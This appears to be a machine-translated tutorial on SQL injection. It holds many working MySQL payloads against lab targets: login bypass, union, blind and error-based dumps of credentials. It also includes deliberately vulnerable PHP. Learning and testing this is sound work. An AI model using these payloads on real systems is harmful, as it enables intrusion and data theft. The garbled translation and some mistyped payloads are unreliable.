SQL injection Basics

Keywords: Database SQL penetration test SQL injection

SQL injection concept

Basic concepts of database

Related terms

data

Data refers to the symbols that record and identify objective events. It is the physical symbols or a combination of these physical symbols that record the nature, state and relationship of objective things. It is a recognizable and abstract symbol.

See for details Baidu Encyclopedia

database

Database is "a warehouse that organizes, stores and manages data according to data structure". It is a collection of organized, shareable and uniformly managed large amounts of data stored in the computer for a long time.

Common databases include Access, MSSQL, Oracle, SQLITE, MySQL, etc

See for details Baidu Encyclopedia

Database management system

Database management system (DBMS) is a large-scale software for manipulating and managing databases, which is used to establish, use and maintain databases, referred to as DBMS. It manages and controls the database uniformly to ensure the security and integrity of the database. Users access the data in the database through DBMS, and database administrators also maintain the database through DBMS. It can support multiple applications and users to establish, modify and query databases in different ways at the same time or at different times. Most DBMS provide Data Definition Language (DDL) and Data Manipulation Language (DML) for users to define the schema structure and permission constraints of the database and realize operations such as adding and deleting data.

See for details Baidu Encyclopedia

Structured query language

Structured query language (SQL) is a special purpose programming language. It is a database query and programming language, which is used to access data, query, update and manage relational database systems.

See for details Baidu Encyclopedia

SQL language

The SQL language consists of six parts:

  1. DQL:Data Query Language: its statement, also known as "data retrieval statement", is used to obtain data from tables and determine how data is given in applications. The reserved word SELECT is the verb most used by DQL (and all SQL). Other reserved words commonly used by DQL include WHERE, ORDER BY, GROUP BY and HAVING.
  2. Data Manipulation Language (DML): its statements include verbs INSERT, UPDATE and DELETE. They are used for addition, modification and deletion respectively.
  3. Transaction control language (TCL): its statements can ensure that all rows of the table affected by DML statements are updated in time. This includes the COMMIT command, SAVEPOINT command, and ROLLBACK command.
  4. Data control language (DCL): its statement implements permission control through GRANT or REVOKE to determine the access of a single user and user group to database objects. Some RDBMS can use GRANT or REVOKE to control access to form columns.
  5. Data definition language (DDL): its statements include verbs CREATE,ALTER and DROP. Create a new table or modify or delete a table (create table or DROP TABLE) in the database; Adding indexes to tables, etc.
  6. Pointer control language (CCL): its statements, such as DECLARE CURSOR, FETCH INTO and UPDATE WHERE CURRENT, are used for single line operations on one or more forms.

Database properties

Static web page:

html or htm is a static page format that does not require the server to parse the script. Parsed by browsers such as IE, Chrome, etc.

  1. Database independent
  2. Poor flexibility and trouble in production, update and maintenance
  3. Interactivity is poor, and there are great limitations in function
  4. Security, no SQL injection vulnerability

Dynamic web pages:

asp, aspx, php, jsp, etc. are interpreted and executed by the corresponding script engine, and static web pages are generated according to the instructions.

  1. Dependent database
  2. Good flexibility and easy maintenance
  3. Good interaction and powerful function
  4. There are security risks, and there may be SQL injection vulnerabilities

Working principle of WEB application

SQL injection definition

SQL Injection: by inserting the SQL command into the Web form to submit or enter the query string of the domain name or page request, it can finally deceive the server to execute the malicious SQL command.

Specifically, it uses existing applications to inject (malicious) SQL commands into the background database engine for execution. It can get a database on a website with security vulnerabilities by entering (malicious) SQL statements in a Web form, rather than executing SQL statements according to the designer's intention.

essence
Code and data are indistinguishable.
origin
The parameter data submitted by the user was not verified or effectively filtered, and the SQL statements were spliced directly, which changed the semantics of the original SQL statements and passed into the database parsing engine for execution.
result
SQL injection

Trigger SQL injection

As long as all inputs interact with the database, SQL injection may be triggered
Common include:

  1. Get parameter triggers SQL injection
  2. The POST parameter triggers SQL injection
  3. Cookie triggers SQL injection
  4. SQL injection is possible for other inputs involved in SQL execution

SQL injection process

SQL injection scenario

All user controllable parameters, such as URL path, GET/POST request parameters and HTTP request header

SQL injection

  1. Bypass login verification: log in to the website background with universal password, etc
  2. Obtain sensitive data: obtain website administrator account, password, etc
  3. File system operation: list directories, read and write files, etc
  4. Registry operations: read, write, delete registry, etc
  5. Executing system commands: executing commands remotely

Injection vulnerability classification

Digital injection

When the input parameter is integer, if there is an injection vulnerability, it can be considered as digital injection.

http://www.test.com/test.php?id=1

Guess the SQL statement as: select * from table where id=1

Test:

http://www.test.com/test.php?id=1'

The SQL statement is: select * from table where id=1 ', and an exception occurs on the page

http://www.test.com/test.php?id=1 and 1=1

The SQL statement is: select * from table where id=1 and 1=1. The page is normal

http://www.test.com/test.php?id=1 and 1=2

The SQL statement is: select * from table where id=1 and 1=2. The returned data is different from the original request

Character injection

When the input parameter is a string, it is called character type. The biggest difference between character type and number type is that number type does not need single quotation marks to close, while string generally needs to be closed by single quotation marks.

  • Numeric: select * from table where id =1
  • Character type: select * from table where username = "test"

The key of character injection is how to close SQL statements and annotate redundant code

Test steps:

  1. Single quotation mark:
select * from table where name='admin''

Since the single quotation marks become three single quotation marks, it cannot be executed and the program will report an error;

  1. Add * * 'and 1=1 * * and the sql statement is:
select * from table where name='admin' and 1=1' 

Injection is not possible, and it needs to be bypassed by annotation symbols;

Mysql has three common annotations:

-- Notice that this annotation is followed by a space
# adopt#Comment
/* */ Comment out the contents of the symbol

Therefore, the construction statement is:

select * from table where name ='admin' and 1=1—'

It can be executed successfully and the returned result is correct;

  1. Add * * and 1=2 - * * the sql statement is:
select * from table where name='admin' and 1=2 –'

An error will be reported. If the above three points are met, it can be judged that the url is character injection.

Note: the string must be closed before injection can continue

Database annotation syntax

Test statement

SQL injection Basics

MySQL Basics

MySQL default databases include: sys, mysql, and performance_schema,information_schema

information_schema stores all database information (this database is available only after version 5.0)

This library has three tables:

  • SCHEMATA this table stores all database names created by users
    • SCHEMA_ The name field records the database name
  • TABLES this table holds all database database names and table names created by users
    • TABLE_SCHEMA field record database name
    • TABLE_NAME field record table name
  • COLUMNS this table stores all database database names, table names and field names created by users
    • TABLE_SCHEMA field record database name
    • TABLE_NAME field record table name
    • COLUMN_NAME field record field name

SQL injection classification

Based on the response received from the server

  • Error based SQL injection
  • Type of federated query
  • Heap query injection
  • SQL blind note
    • Blind annotation based on Boolean SQL
    • Time based blind SQL injection
    • SQL blind injection based on error reporting

SQL query based on how input is processed (data type)

  • Based on string
  • Based on numbers or integers

Degree and order based injection (where did the impact occur)

  • First order injection
  • Second order injection

First order injection means that the input injection statement has a direct impact on the WEB and results;
Second order injection is similar to storage XSS. It means that the input submitted statement cannot directly affect the WEB application, and indirectly harm the WEB through other assistance. This is called second-order injection

Based on the position of the injection point

  • Injection through the form field entered by the user.
  • Injection via cookie.
  • Injection through server variables. (injection based on head information)

System function

Introduce several common functions:

  1. version() -- MySQL version
  2. user() -- database user name
  3. database() -- database name
  4. @@datadir -- database path
  5. @@version_compile_os -- operating system version

String concatenation function

Function specific introduction http://www.cnblogs.com/lcamry/p/5715634.html

  1. concat(str1,str2,...) -- concatenate strings without delimiters
  2. concat_ws(separator,str1,str2,...) -- connection string with separator
  3. group_concat(str1,str2,...) -- connect all strings of a group and separate each piece of data with a comma

It's more abstract. In fact, you don't need to know in detail. Just know that these three functions can find all the information at one time.

Statements commonly used to try

Ps: – + can be replaced by # and the Url encoded # during Url submission is% 23

or 1=1--+ 
'or 1=1--+ 
"or 1=1--+ 
)or 1=1--+ 
')or 1=1--+ 
") or 1=1--+ 
"))or 1=1--+ 

Two points are considered here. One is to close the front and the other is to deal with the back. Generally, two ideas are adopted: close the quotation marks behind or comment them out, and comment them out with – + or # (% 23)

Introduction to UNION operator

The operator is used to merge the result sets of two or more SELECT statements.
Note that the SELECT statement inside the UNION must have the same number of columns. Columns must also have similar data types. At the same time, the order of columns in each SELECT statement must be the same.

SQL UNION syntax

SELECT column_name(s) FROM table_name1 
UNION 
SELECT column_name(s) FROM table_name2 

Note: by default, the UNION operator takes different values. If duplicate values are allowed, use UNION ALL.

SQL UNION ALL syntax

SELECT column_name(s) FROM table_name1 
UNION ALL 
SELECT column_name(s) FROM table_name2 

In addition, the column name in the UNION result set is always equal to the column name in the first SELECT statement in the UNION.

Logical operation in SQL

Here is the problem of logical operation.

Ask a question Select * from users where id=1 and 1=1; Why can this statement select the content with id=1, and 1=1? Does it work?

Here we need to know the execution order of sql statements. At the same time, we will use this problem when using universal password.

Select * from admin where username='admin' and password='admin' 

We can use 'or 1=1# as the password input. Why?

This involves a logical operation. When the so-called universal password is used, the sql statement is:

Select * from admin where username='admin' and password=''or 1=1#' 

Explain: after the above statement is executed, we log in to the admin user without knowing the password. The reason is that after the where clause, we can see three conditional statements username = 'admin' and password = 'or 1=1. The three conditions are connected by and and or.
In sql, the operation priority of and is greater than that of or. Therefore, we can see that the first condition (represented by a) is true, the second condition (represented by b) is false, a and b = false, the first condition and the second condition are false after and, and then operate with the third condition or, because the third condition 1 = 1 is constant, the result is naturally true. Therefore, the above statement is hengzhen

  1. Select * from users where id=1 and 1=1;
  2. Select * from users where id=1 && 1=1;
  3. Select * from users where id=1 & 1=1;

What is the difference between the above three?
1 and 2 are the same. The expression means that the id=1 condition and the 1 = 1 condition carry out and operation.
3 means that if the condition id=1 performs an & bit operation with 1, id=1 is regarded as true, the & operation with 1 will still result in 1, and then perform the = operation, 1 = 1, or 1 (the priority of ps: & is greater than =)
Ps: bit operation performed here. We can convert numbers into binary and then perform and, or, non, XOR and other operations. This method can be used to inject results when necessary. For example, after converting a character into ascii code, it can be associated with 1, 2, 4, 8, 16, 32... And operation can get the value of each bit, which is the ascii code value. Then push back the character from the ascii value. (less used)

Injection process

The data stored in our database is in the form of the figure above. There are many data tables in a database, and there are many columns in the data table. Each column stores data. The process of our injection is to get the database name first, get the data table under the current database name, then get the columns under the current data table, and finally get the data.

Detailed explanation of various types of SQL injection (part)

union injection

union injection attack

1) Determine whether there is injection

URL:http://www.tianchi.com/web/union.php?id=1

URL:http://www.tianchi.com/web/union.php?id=1'

URL:http://www.tianchi.com/web/union.php?id=1 and 1=1

URL:http://www.tianchi.com/web/union.php?id=1 and 1=2

A possible SQL injection vulnerability was found.

2) Number of query fields

URL:http://www.tianchi.com/web/union.php?id=1 order by 3

When id=1 order by 3, the page returns the same result as id=1; It is different when id=1 order by 4, so the number of fields is 3.

3) Query SQL statement insertion location

URL:http://www.tianchi.com/web/union.php?id=-1 union select 1,2,3


You can see that SQL statements can be inserted at positions 2 and 3.

4) Get database library name

(1) Get the current database name

2. Modify the location to database()

URL:http://www.tianchi.com/web/union.php?id=-1 union select 1,database(),3

(2) Get all database library names

URL:http://www.tianchi.com/web/union.php?id=-1 union select 1,group_concat(char(32,58,32),schema_name),3 from information_schema.schemata

(3) Get database name one by one

sentence: select schema_name from information_schema.schemata limit 0,1;
URL:http://www.tianchi.com/web/union.php?id=-1 union select 1,(select schema_name from information_schema.schemata limit 0,1),3

Modify the first number in limit, such as obtaining the second database name: limit 1,1.

Database name: information_schema,challenges,dedecmsv57utf8sp2,dvwa,mysql,performance_schema,security,test,xssplatform

5) Get database table name

(1) Method 1:

Get the database table name. In this way, get one table name at a time. The 2 position is modified to:

select table_name from information_schema.tables where table_schema='security' limit 0,1;
URL:http://www.tianchi.com/web/union.php?id=-1 union select 1,(select table_name from information_schema.tables where table_schema='security' limit 0,1),3

Modify the first number in limit, such as obtaining the second table name: limit 1,1, so that all table names can be obtained.

The table name is: emails,referers,uagents,users. 

(2) Method 2:

Get all table names of the current database at one time:

URL:http://www.tianchi.com/web/union.php?id=-1 union select 1,group_concat(char(32,58,32),table_name),3 from information_schema.tables where table_schema='security'

6) Get field name

(1) Method 1:

Get the field name, take the emails table as an example, and modify the 2 position to:

select column_name from information_schema.columns where table_schema='security' and table_name='emails' limit 0,1;
URL:http://www.tianchi.com/web/union.php?id=-1 union select 1,(select column_name from information_schema.columns where table_schema='security' and table_name='emails' limit 0,1),3

Modify the first number in limit, for example, get the second field name: limit 1,1

Field name: id,email_id. 

(2) Method 2:

Take the emails table as an example, get all field names at one time:

URL:http://www.tianchi.com/web/union.php?id=-1 union select 1,group_concat(char(32,58,32),column_name),3 from information_schema.columns where table_schema='security' and table_name='emails'

7) Get data

(1) Method 1:

Get the data. Take the emails table as an example. The positions 2 and 3 are modified as follows:

(select id from security.emails limit 0,1),(select email_id from security.emails limit 0,1)

Get the first and second data in the emails table:

1 : Dumb@dhakkan.com

2 : Angel@iloveu.com
URL:http://www.tianchi.com/web/union.php?id=-1 union select 1,(select id from security.emails limit 0,1),(select email_id from security.emails limit 0,1)


(2) Method 2:

Take the email table as an example to obtain all data at one time:

URL:http://www.tianchi.com/web/union.php?id=-1 union select 1,group_concat(char(32,58,32),id,email_id),3 from security.emails

1.2 union injection PHP code

<?php
$con=mysqli_connect("localhost","root","root","security");
mysqli_set_charset($con,'utf8');
if(!$con){
	echo "Connect failed : ".mysqli_connect_error();
}
 
$id=$_GET['id'];
$result=mysqli_query($con,"select * from users where id=".$id );
$row=mysqli_fetch_array($result);
echo $row['username']." : ".$row['password'];
?>

Boolean based SQL blind annotation

Normal SQL injectionSQL blind note
When executing SQL injection attack, the server will respond to error messages from the database server, and the information prompts incorrect SQL syntax, etcGenerally, when SQL blind annotation is executed, the server will not directly return specific database errors or syntax errors, but will return specific information set by program development (there are also special cases, such as blind annotation based on error reporting)
Generally, the results of executing sql statements will be displayed directly on the pageGenerally, the results of sql execution are not directly displayed on the page
  • |It is possible to be uncertain whether the sql is executed or not

1. Judge whether there is injection and injection type

1' or 1=1 non-existent
1' or '1'='1 existence

Judged as character type

2. Judge the number of tables in the database

1' and (select count(table_name) from information_schema.tables where table_schema=database())=1#    non-existent
1' and (select count(table_name) from information_schema.tables where table_schema=database())=2#    existence

There are two tables

3. Judge the length of table name

First table:

1' and (select length(table_name) from information_schema.tables where table_schema=database() limit 0,1)=1#  non-existent

1' and (select length(table_name) from information_schema.tables where table_schema=database() limit 0,1)=2#  non-existent

··················

1' and (select length(table_name) from information_schema.tables where table_schema=database() limit 0,1)=9#  existence

The first table name is 9 in length

Second table:

1' and (select length(table_name) from information_schema.tables where table_schema=database() limit 1,1)=1# non-existent

............

1' and (select length(table_name) from information_schema.tables where table_schema=database() limit 1,1)=5# existence

The second table name is 5 in length

4. Judgment table name

First table:

First letter:
1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>97# existence
1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))<122# existence
1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>109# non-existent
1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))<103# non-existent
1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>106# non-existent
1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=103#  existence

The first letter is g

Second letter:

1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),2,1))>97#    existence
1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),2,1))<122#    existence
1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),2,1))>109#    existence
1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),2,1))>115#    existence
1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),2,1))>118# non-existent
1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),2,1))=116# non-existent
1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),2,1))=117#    existence

The second letter is u
And so on

Second table:

First letter:
1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),1,1))>97#

.............

The first letter is u

And so on to get the second table named users

5. Determine the number of fields in the table

1' and (select count(column_name) from information_schema.columns where table_name='users')=1#        Unsuccessful
1' and (select count(column_name) from information_schema.columns where table_name='users')=14#        success

There are 14 fields

6. Judge the length of each field

First column:

1' and length(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),1))=1#
1' and length(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),1))=7#success

The length of the first column is 7

Second column:

1' and length(substr((select column_name from information_schema.columns where table_name='users' limit 1,1),1))=1#
1' and length(substr((select column_name from information_schema.columns where table_name='users' limit 1,1),1))=10#

The length of the second column is 10

Column 3:

1' and length(substr((select column_name from information_schema.columns where table_name='users' limit 2,1),1))=1#
1' and length(substr((select column_name from information_schema.columns where table_name='users' limit 2,1),1))=9#

The length of the third column is 9
and so on,
The length of each column name is

7,10,9,4,8,6,10,12,4,19,17,2,8,8

7. Determine field name

We can guess that the above columns with length of 4 and 8 should be the user and password columns we want
Verify:

1' and ascii(substr((select column_name from information_schema.columns where table_name='users' limit 3,1),1,1))>97# existence
1' and ascii(substr((select column_name from information_schema.columns where table_name='users' limit 3,1),1,1))<122# existence
1' and ascii(substr((select column_name from information_schema.columns where table_name='users' limit 3,1),1,1))>109# existence
1' and ascii(substr((select column_name from information_schema.columns where table_name='users' limit 3,1),1,1))>115# existence
1' and ascii(substr((select column_name from information_schema.columns where table_name='users' limit 3,1),1,1))>117# non-existent
1' and ascii(substr((select column_name from information_schema.columns where table_name='users' limit 3,1),1,1))=116# non-existent

The first letter of the fourth column name is u, which is a little close to our goal. Let's guess s, e, r directly

1' and ascii(substr((select column_name from information_schema.columns where table_name='users' limit 3,1),2,1))=115# existence
1' and ascii(substr((select column_name from information_schema.columns where table_name='users' limit 3,1),3,1))=101# existence
1' and ascii(substr((select column_name from information_schema.columns where table_name='users' limit 3,1),4,1))=114# existence

It can be seen that our reasoning is successful, and the fourth column is named user
Similarly, the name of the fifth column is password

8. Burst data

It is judged that the length of the first field of user is 5:

1' and (select length(user) from users where user_id=1)=5#
1
 Determine the first user:
1' and ascii(substr((select user from users limit 0,1),1,1))=97#    a
1' and ascii(substr((select user from users limit 0,1),2,1))=100#    d
1' and ascii(substr((select user from users limit 0,1),3,1))=109#    m
1' and ascii(substr((select user from users limit 0,1),4,1))=105#    i
1' and ascii(substr((select user from users limit 0,1),5,1))=110#    n

Second user

1' and ascii(substr((select user from users limit 1,1),1,1))=103#    g
1' and ascii(substr((select user from users limit 1,1),2,1))=111#    o
1' and ascii(substr((select user from users limit 1,1),3,1))=114#    r
1' and ascii(substr((select user from users limit 1,1),4,1))=100#    d
1' and ascii(substr((select user from users limit 1,1),5,1))=111#    o
1' and ascii(substr((select user from users limit 1,1),6,1))=110#    n
1' and ascii(substr((select user from users limit 1,1),7,1))=98#    b

Time based blind SQL injection

preface

Due to the use of time-based blind injection, but I think time-based blind injection is actually an upgraded version of Boolean based blind injection, so I want to summarize the Boolean based blind injection analysis by the way;

First of all, I think the most intuitive difference between time-based blind note and Boolean based blind note is that the "reference" is different, that is, Boolean based blind note can actually judge the result through some changes on the page! However, sometimes, when some sql statements are tested, the page will not change intuitively like Boolean blind annotation. Therefore, the so-called time-based blind annotation at this time is to obtain a reference of transformation delay in time by combining if judgment and sleep() function on Boolean blind annotation, which allows us to make some judgments.

Gets the length of the database name

Constructed sql statement:

1' and (length(database()))> 5#

Analysis: because the operation result of the expression behind and is bool, on the premise of ensuring that the result before and is true, you can judge whether the guess is correct through the bool result returned by the expression behind. The function of database() is to obtain the current database name, but we can't see it, so we need to use length() Function to get the length of the database name. Compare the length with a number specified by us. As long as the final result is true, you can get the length of the database name

Get database name

After getting the length of the database name, you can continue to get the specific name of the database, which is also judged by the bool result

Constructed sql statement:

1' and (ascii(substr(database(),n,1)))>m #

Analysis: after obtaining the specific length of the database name, database () can obtain the database name (just can't be seen), then you can obtain the database name through the database () function, and then through substr (), the first parameter is the database name, and the second parameter is the position of the character to be intercepted (calculated from 1), The last parameter is the length of the intercepted character. Because you want to judge what the intercepted specific character is through bool, you also need to convert the intercepted character into ASCII encoded value using ascii() function, and then compare the data with a number by changing the intercepted starting position and the later compared number respectively, Finally, you can guess the specific database name

Gets the number of tables

After getting the database indication, we can then get the number of tables in the database we found

Constructed sql statement:

1' and (select count(*) from information_schema.tables where table_schem=database())>5#

Analysis: the quantity indicated is also obtained by the true and false of the final bool result

select count(*) from information_schema.tables where table_schem=database()

The function of this sql statement is to obtain information from the database_ Table found in the tables table in tables_ The schema field is the total number of records in database (), that is, the total number of tables in database () can be obtained through this statement_ The schema database stores the relevant information of all mysql database servers. The tables table in the database stores the table information of all databases in the database management system. Finally, after the number of tables is obtained, use the quantity result to compare with a number. Then, by changing the number of tables compared, you can guess the number of tables in the database; You can find it by dichotomy

Get table name length

Constructed sql statement:

1' and (select length(table_name) from information_schema.tables where table_schema=database() limit 0,1)>5#

Analysis: since many tables are created in a database, we need to use the command limit 0 and 1 to calculate only one table at a time, and so on for other tables;

Get table name

After getting the length of the table name, we need to use the assii () function to get the ascii of each character of the table name, so as to get the table name we want
Constructed sql statement:

1' and (ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),0,1)))>100

Analysis: from information_ Tables in the tables table of schema_ The schema field is equal to the table of the first row of records from all records of database()_ The value of the name field;
Then use the extracted value to obtain each character of the table name using the substr() function, and then use ascii() to calculate the ASCII code. Because we can't see how many the ASCII code is, and because we can know the boolean result, we can use the calculated ASCII code to compare with a number to determine the specific ASCII code, You know what the corresponding character is. So as to guess the table name of the database

Get the number of column names, column name length, and column name

After getting the table name of the database, the next step is to get the column name of the corresponding table name, that is, the field name. At this time, we need to go to information_ The columns table in the schema database is used to query the information related to the column names of all tables. The steps to obtain the column names are the same as the previous principle. First guess the number of column names, obtain the length of column names, and then guess the column names through the obtained length

Constructed sql statement:

1' and (select count(*)from information_schema.columns where table_name='user')>5#

Constructed sql statement:

1' and (select length(column_name)from information_schema.columns where table_name='user' limit 0,1)>5#

Constructed sql statement:

1' and (ascii(substr((seclect columns_name from information_schema.columns where table_name='user' limit 0,1),1,1)))>100#

get data

The principle of obtaining data is the same as before
Constructed sql statement:

1' and (ascii(substr(( select password from users limit 0,1),1,1)))=68#

Key points of blind injection based on time

Through the above analysis, I think that when using time-based blind annotation, the sql statement constructed above can be changed as follows:

and if((length(database())>5),sleep(5),0)

In fact, the Boolean value returned by length (database()) > 5 causes a time delay to judge the result. If the length of the data name is greater than 5, the sleep (5) function will work. It can make us feel that the time of returning a page has changed. Through this change, we can know whether our judgment is correct or not.

SQL injection based on error reporting

You can take a look at this Ten MySQL error reporting injections
Three error reporting injection methods are described below

#Error injection floor
(select 1 from (select count(*),concat((payload[]),floor(rand()*2))a from information_schema.columns group by a)b)limit 0,1
#Error message injection extractvalue
select extractvalue(1,concat(0x5c,([payload])))
#Error injection updatexml
select 1=(updatexml(1,concat(0x3a,([payload])),1))

floor error injection

Floor is a zone function that returns the largest integer less than or equal to x

In the above example of floor error reporting, a rand function (a random number returning 0 to 1) is passed in the floor.

floor error injection mainly uses the mechanism of group by. Let's first understand the principle:

The principle of group by key is to read each row of data circularly and save the results in a temporary table. When reading the key of each row, if the key exists in the temporary table, the data in the temporary table will not be updated in the temporary table; If the key does not exist in the temporary table, insert the data of the row where the key is located in the temporary table. The reason for the error of group by floor(random(0)2) is that the key is a random number. When checking whether the key exists in the temporary table, it is calculated that the floor(random(0)2) may be 0. If there is only a row with key 1 in the temporary table and there is no row with key 0, the database needs to insert the record into the temporary table. Because it is a random number, it is necessary to calculate the random value when inserting. At this time, floor(random(0)*2) The result may be 1, which will lead to conflict and error during insertion. That is, the values of random numbers calculated twice during detection and insertion are inconsistent, resulting in errors that conflict with the existing ones during insertion.

It is mainly calculated twice during detection and insertion, so an error will be reported if the input is inconsistent.

Extract value error injection

ExtractValue(xml_frag, xpath_expr)

ExtractValue() takes two string parameters, an XML tag fragment xml_frag and an XPath expression_ Expr (also known as positioner); It returns the text () of the first text node in CDATA, which is a child of the element matched by the XPath expression.

The first parameter can be passed into the target xml document, and the second parameter is the search path represented by the Xpath path method

For example:

SELECT ExtractValue('<a><b><b/></a>', '/a/b');

This is to find the b node under the a node in the previous xml document. If the Xpath format syntax is written incorrectly, an error will be reported. Here is to use this feature to get what we want to know.

The concat function is used to splice the database content you want to obtain into the second parameter. When an error is reported, it is output as the content.

updatexml error injection

UpdateXML(xml_target, xpath_expr, new_xml)
  • xml_target: the XML fragment that needs to be manipulated
  • xpath_expr: xml path to be updated (in Xpath format)
  • new_xml: updated content

This function updates the contents of the selected XML fragment, replacing a single part of a given fragment of an XML tag with xml_target new XML fragment new_xml, and then return the changed XML. xml_ The part replaced by target is the same as xpath_expr matches the XPath expression provided by the user.

If XPath is not_ Expr finds an expression match, or multiple matches, the function returns the original xml_targetXML fragment. All three parameters should be strings. The usage is as follows:

mysql> SELECT
    ->   UpdateXML('<a><b>ccc</b><d></d></a>', '/a', '<e>fff</e>') AS val1,
    ->   UpdateXML('<a><b>ccc</b><d></d></a>', '/b', '<e>fff</e>') AS val2,
    ->   UpdateXML('<a><b>ccc</b><d></d></a>', '//b', '<e>fff</e>') AS val3,
    ->   UpdateXML('<a><b>ccc</b><d></d></a>', '/a/d', '<e>fff</e>') AS val4,
    ->   UpdateXML('<a><d></d><b>ccc</b><d></d></a>', '/a/d', '<e>fff</e>') AS val5
    -> \G
***********result**************
val1: <e>fff</e>
val2: <a><b>ccc</b><d></d></a>
val3: <a><e>fff</e><d></d></a>
val4: <a><b>ccc</b><e>fff</e></a>
val5: <a><d></d><b>ccc</b><d></d></a>

Like the extractvalue function above, when the syntax of the Xpath path is wrong, an error will be reported. The error content contains the wrong path content:

Injection process

1. Try to report an error with single quotation marks

2. Get database name

' and updatexml(1,concat(0x7e,(select database()),0x7e),1)--+

– 0x7e is the hexadecimal of the "~" symbol, which is used as the separator
3. Get table name

' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='Database name' limit 0,1),0x7e),1)--+

4. Get field name

' and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_schema='Database name' and table_name='Table name' limit 0,1),0x7e),1)--+

5. Fetch data

' and updatexml(1,concat(0x7e,(select concat(username,0x3a,password) from users limit 0,1),0x7e),1)--+

Other functions payload syntax:

--extractvalue
' and extractvalue(1,concat(0x7e,(select database()),0x7e))--+

--floor()
' and (select 1 from (select count(*),concat(database(),floor(rand(0)*2))x from information_schema.tables group by x)a)--+

Joint query injection

A union query is a result set that can merge multiple similar selection queries. It is equivalent to appending a table to another table, so as to combine the queries of the two tables. For this purpose, it is union or UNION ALL
Joint query: merge the results of multiple queries together (vertical consolidation): the number of fields remains unchanged, and the number of records of multiple queries is consolidated

Basic syntax:

select sentence
union[union option]
select sentence;

Conditions for federated query injection

Joint query injection is a method of MySQL injection. In SQL injection, the relevant conditions for the existence of injection vulnerabilities are stated. Joint query injection needs to meet the requirements that the query information is echoed at the front end, and the location of the echoed data is called the echo bit.
If there is such echo bit in the page with injection vulnerability, it can be injected by joint query injection.

Joint query injection

Here we learn the way of joint query injection through the first pass of sqli labs

According to the principle of SQL injection, there are SQL injection vulnerabilities.
We changed id=1 to id=2 and found that both login name and password have changed. Here is the echo point
To insert a picture description here for injection, first judge the number of fields in the table, because the number of fields queried before and after joint injection should remain the same. The most common way to judge fields is to judge the order by keyword

order by was originally a sort statement

select * from table order by n

n means the nth field in the select. The meaning of the whole sql section is: the query results are sorted according to the nth field
However, when N is greater than the table field, an error will be reported. According to this, you can use the order by keyword to determine the number of fields

If the number of fields is small, you can also test the number of fields through union select 1, 2, 3... Continuously. When the number is greater than the number of fields, an error will be reported.

?id=1' order by 4 --+

Insert picture description here
At this point, it directly tells us that there are no four fields, so it will be halved
Insert the picture description here, and it will echo correctly at this time, so the number of fields should be greater than or equal to 2 and less than 4.
Test order by 3, which is echoed correctly, indicating that the table has three fields in total
Insert a picture description here. When we know that there are three fields and that there are echo points, we can formally carry out joint query injection
We need to know the location of the echo bit of the query statement, which can be used directly

?id=1' union select 1,2,3 --+

The picture description is inserted here, but the problem comes. Normally, the numbers 1, 2 and 3 should appear in the echo bit, but why do they still have the original normal results? In fact, the joint query has taken effect at this time. In order to understand this more clearly, we find out this problem through MySQL processor and code

Insert the picture description here. When the joint query is used, the results of 1, 2 and 3 are indeed obtained, but they are displayed in the second line, and the first line is still
Result of SELECT * FROM users WHERE id = '1'
The code here only outputs the query result of the first line
Insert picture description here
Therefore, we need to make the previous query statement unable to find the result, so that we can output the data of the second row.
You can refer to the following query results. There is no data with id=0 in the table, so the first row directly outputs the results of the joint query.

?id=0' union select 1,2,3 --+

We can know that there are echo bits at positions 2 and 3, on which we can put our query statements

Data of query statement
Here we can first query some database related information
Query database version:

?id=0' union select 1,2,version() --+

Get database version bit 5.5.53
Insert a picture description here to check the current user:

?id=0' union select 1,2,user() --+

Get the current user name as root, which should be the administrator user
Insert the picture description here and check the current database:

?id=0' union select 1,2,database() --+

Get the current database name security
Insert the picture description here and check the path of the file

?id=0' union select 1,2,@@datadir --+

The obtained path is D:\phpstudy\MySQL\data
Insert a picture description here and add some important functions here

version()				# mysql database version
database()				# Current database name
user()					# user name
current_user()			# Current user name
system_user()			# System user name
@@datadir				# Database path
@@version_compile_os	# Operating system version

Or query database data. MySQL has a default database information_schema, through this database, you can get twice the result with half the effort.
There are also some important string functions that need to be used in combination

length()	        	# Returns the length of the string
substring()						
substr()	        	# Intercept string
mid()
left()			        # Take the string with the specified number of characters from the left
concat()	     	   	# Connection string without delimiter
concat_ws()      		# Connection string with delimiter
group_conat()   		# String connecting a group
ord()					# Return ASCII code
ascii()	
hex()					# Converts a string to hexadecimal
unhex()					# Reverse operation of hex
md5()					# Return MD5 value
floor(x)				# Returns the largest integer not greater than x
round()					# Returns an integer close to parameter x
rand()					# Returns a random floating-point number between 0 and 1
load_file()				# Read the file and return the contents of the file as a string
sleep()			        # Sleep time is the specified number of seconds
if(true,t,f)			# if judgment
find_in_set()			# Returns the position of the string in the string list
benchmark()				# Specifies the number of times the statement is executed

Next is the table name, field name, and value
Statement that explodes the table name

?id=0' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='security'),3 --+ 

Statement that explodes the field name

?id=0' union select 1,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'),3 --+

Burst statement

?id=0' union select 1,2,(select group_concat(concat(id,0x7e,username,0x3A,password,0x7e)) from users) --+	

Groups are used here_ Concat is connected together and output at the same time. In fact, you can also output one by one through limit
limit m,n starts from m and outputs n pieces of data
